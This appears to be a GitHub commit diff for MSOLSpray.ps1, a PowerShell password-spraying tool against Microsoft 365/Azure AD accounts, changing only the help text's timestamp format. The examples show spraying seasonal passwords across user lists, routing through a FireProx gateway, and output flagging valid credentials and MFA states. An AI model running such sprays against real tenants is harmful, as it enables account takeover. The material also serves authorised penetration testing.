Skip to content

Commit 13db923

Browse files
authored
Update MSOLSpray.ps1
Updated CBH to reflect changes to the timestamp format
1 parent 4e7e898 commit 13db923

File tree

1 file changed

+52
-52
lines changed

1 file changed

+52
-52
lines changed

MSOLSpray.ps1

+52-52
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ function Invoke-MSOLSpray {
2626
.OUTPUTS
2727
Time Username Password IsValid ResponseError
2828
---- -------- -------- ------- -------------
29-
2020-08-14 12:25:15 [email protected] Winter2020 True None.
29+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 True None.
3030
3131
.PARAMETER Usernames
3232
Takes in a single or multiple usernames in the following format "[email protected]".
@@ -89,7 +89,7 @@ function Invoke-MSOLSpray {
8989
9090
PS C:\> Invoke-MSOLSpray -Usernames [email protected] -Passwords Winter2020
9191
92-
Time : 2020-08-14 12:23:44
92+
Time : 2020-08-15T18:20:50.1611349+02:00
9393
Username : [email protected]
9494
Password : Winter2020
9595
IsValid : True
@@ -99,7 +99,7 @@ function Invoke-MSOLSpray {
9999
100100
PS C:\> Invoke-MSOLSpray -Usernames [email protected] -Passwords Winter2020 -URL https://api-gateway-endpoint-id.execute-api.us-east-1.amazonaws.com/fireprox
101101
102-
Time : 2020-08-14 12:23:44
102+
Time : 2020-08-15T18:20:50.1611349+02:00
103103
Username : [email protected]
104104
Password : Winter2020
105105
IsValid : True
@@ -110,63 +110,63 @@ function Invoke-MSOLSpray {
110110
Valid results have been written to C:\outfile.txt
111111
112112
PS C:\> gc C:\outfile.txt
113-
[email protected] : Winter2020 : None.
113+
2020-08-15T18:20:50.1611349+02:00 : [email protected] : Winter2020 : None.
114114
115115
.EXAMPLE
116116
# The following command will use the provided UsernameList and attempt to authenticate to each account with a password of Winter2020.
117117
118118
PS C:\> Invoke-MSOLSpray -UsernameList C:\UsernameList.txt -Password Winter2020 | Format-Table
119119
120-
Time Username Password IsValid ResponseError
121-
---- -------- -------- ------- -------------
122-
2020-08-14 12:25:15 [email protected] Winter2020 True None.
123-
2020-08-14 12:25:15 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
124-
2020-08-14 12:25:15 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
120+
Time Username Password IsValid ResponseError
121+
---- -------- -------- ------- -------------
122+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 True None.
123+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
124+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
125125
.EXAMPLE
126126
# The following command will use the provided usernames and both UsernameList and attempt to authenticate to each account with the passwords Summer2020 and Zomer2020.
127127
128128
PS C:\> Invoke-MSOLSpray -Usernames [email protected],[email protected] -UsernameList C:\domain_com_UsernameList.txt,C:\domein_nl_UsernameList.txt -Password Summer2020,Zomer2020 | Format-Table
129129
130-
Time Username Password IsValid ResponseError
131-
---- -------- -------- ------- -------------
132-
2020-08-14 12:25:15 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
133-
2020-08-14 12:25:15 [email protected] Summer2020 True None.
134-
2020-08-14 12:25:15 [email protected] Summer2020 True AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor authentication to access '{identifier}'.
135-
2020-08-14 12:25:15 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
136-
2020-08-14 12:25:15 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
137-
2020-08-14 12:25:15 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
138-
2020-08-14 12:25:15 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
139-
2020-08-14 12:25:15 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
140-
2020-08-14 12:25:15 [email protected] Zomer2020 True None.
141-
2020-08-14 12:25:15 [email protected] Zomer2020 True AADSTS53000: Device is not in required device state: compliant. Conditional Access policy requires a compliant device, and the device is not compliant. The user must enroll their device with an approved MDM provider like Intune.
130+
Time Username Password IsValid ResponseError
131+
---- -------- -------- ------- -------------
132+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
133+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 True None.
134+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 True AADSTS50079: Due to a configuration change made by your administrator, or because you moved to a new location, you must enroll in multi-factor authentication to access '{identifier}'.
135+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
136+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
137+
2020-08-15T18:20:50.1611349+02:00 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
138+
2020-08-15T18:20:50.1611349+02:00 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
139+
2020-08-15T18:20:50.1611349+02:00 [email protected] Zomer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
140+
2020-08-15T18:20:50.1611349+02:00 [email protected] Zomer2020 True None.
141+
2020-08-15T18:20:50.1611349+02:00 [email protected] Zomer2020 True AADSTS53000: Device is not in required device state: compliant. Conditional Access policy requires a compliant device, and the device is not compliant. The user must enroll their device with an approved MDM provider like Intune.
142142
143143
.EXAMPLE
144144
# The following command will use the provided usernames and attempt to authenticate to each account with the passwords from both PasswordLists
145145
146146
PS C:\> Invoke-MSOLSpray -Usernames [email protected],[email protected] -PasswordList C:\seasons_year.txt,C:\company_name_special_characters.txt
147147
148-
Time Username Password IsValid ResponseError
149-
---- -------- -------- ------- -------------
150-
2020-08-14 12:25:15 [email protected] Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password.
151-
2020-08-14 12:25:15 [email protected] Spring020 False AADSTS50126: Error validating credentials due to invalid username or password.
152-
2020-08-14 12:25:15 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
153-
2020-08-14 12:25:15 [email protected] Summer2020 True None.
154-
2020-08-14 12:25:15 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
155-
2020-08-14 12:25:15 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
156-
2020-08-14 12:25:15 [email protected] Winter2020 True None.
157-
2020-08-14 12:25:15 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
158-
2020-08-14 12:25:15 [email protected] Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password.
159-
2020-08-14 12:25:15 [email protected] Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password.
160-
2020-08-14 12:25:15 [email protected] Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password.
161-
2020-08-14 12:25:15 [email protected] Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password.
162-
2020-08-14 12:25:15 [email protected] Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password.
163-
2020-08-14 12:25:15 [email protected] Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password.
164-
2020-08-14 12:25:15 [email protected] Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password.
165-
2020-08-14 12:25:15 [email protected] Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password.
166-
2020-08-14 12:25:15 [email protected] Domain! False AADSTS50126: Error validating credentials due to invalid username or password.
167-
2020-08-14 12:25:15 [email protected] Domain! False AADSTS50126: Error validating credentials due to invalid username or password.
168-
2020-08-14 12:25:15 [email protected] Domain@ False AADSTS50126: Error validating credentials due to invalid username or password.
169-
2020-08-14 12:25:15 [email protected] Domain@ False AADSTS50126: Error validating credentials due to invalid username or password.
148+
Time Username Password IsValid ResponseError
149+
---- -------- -------- ------- -------------
150+
2020-08-15T18:20:50.1611349+02:00 [email protected] Spring2020 False AADSTS50126: Error validating credentials due to invalid username or password.
151+
2020-08-15T18:20:50.1611349+02:00 [email protected] Spring020 False AADSTS50126: Error validating credentials due to invalid username or password.
152+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
153+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 True None.
154+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
155+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
156+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 True None.
157+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
158+
2020-08-15T18:20:50.1611349+02:00 [email protected] Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password.
159+
2020-08-15T18:20:50.1611349+02:00 [email protected] Spring2019 False AADSTS50126: Error validating credentials due to invalid username or password.
160+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password.
161+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2019 False AADSTS50126: Error validating credentials due to invalid username or password.
162+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password.
163+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2019 False AADSTS50126: Error validating credentials due to invalid username or password.
164+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password.
165+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2019 False AADSTS50126: Error validating credentials due to invalid username or password.
166+
2020-08-15T18:20:50.1611349+02:00 [email protected] Domain! False AADSTS50126: Error validating credentials due to invalid username or password.
167+
2020-08-15T18:20:50.1611349+02:00 [email protected] Domain! False AADSTS50126: Error validating credentials due to invalid username or password.
168+
2020-08-15T18:20:50.1611349+02:00 [email protected] Domain@ False AADSTS50126: Error validating credentials due to invalid username or password.
169+
2020-08-15T18:20:50.1611349+02:00 [email protected] Domain@ False AADSTS50126: Error validating credentials due to invalid username or password.
170170
171171
.EXAMPLE
172172
# The following command will use input provided from the pipeline to authenticte.
@@ -180,15 +180,15 @@ function Invoke-MSOLSpray {
180180
181181
PS C:\> $Object | Invoke-MSOLSpray | Format-Table -AutoSize
182182
183-
Time Username Password IsValid ResponseError
184-
---- -------- -------- ------- -------------
185-
2020-08-14 12:22:06 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
186-
2020-08-14 12:22:06 [email protected] Winter2020 True None.
187-
2020-08-14 12:22:06 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
188-
2020-08-14 12:22:06 [email protected] Summer2020 True None.
189-
2020-08-14 12:22:06 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
190-
2020-08-14 12:22:06 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
191-
#>
183+
Time Username Password IsValid ResponseError
184+
---- -------- -------- ------- -------------
185+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 False AADSTS50126: Error validating credentials due to invalid username or password.
186+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 True None.
187+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
188+
2020-08-15T18:20:50.1611349+02:00 [email protected] Summer2020 True None.
189+
2020-08-15T18:20:50.1611349+02:00 [email protected] Winter2020 False AADSTS50126: Error validating credentials due to invalid username or password.
190+
2020-08-15T18:20:50.1611349+02:00 [email protected] Fall2020 False AADSTS50126: Error validating credentials due to invalid username or password.
191+
#>
192192
[cmdletbinding()]
193193
Param(
194194
[Parameter(ValueFromPipelineByPropertyName)]

0 commit comments

Comments
 (0)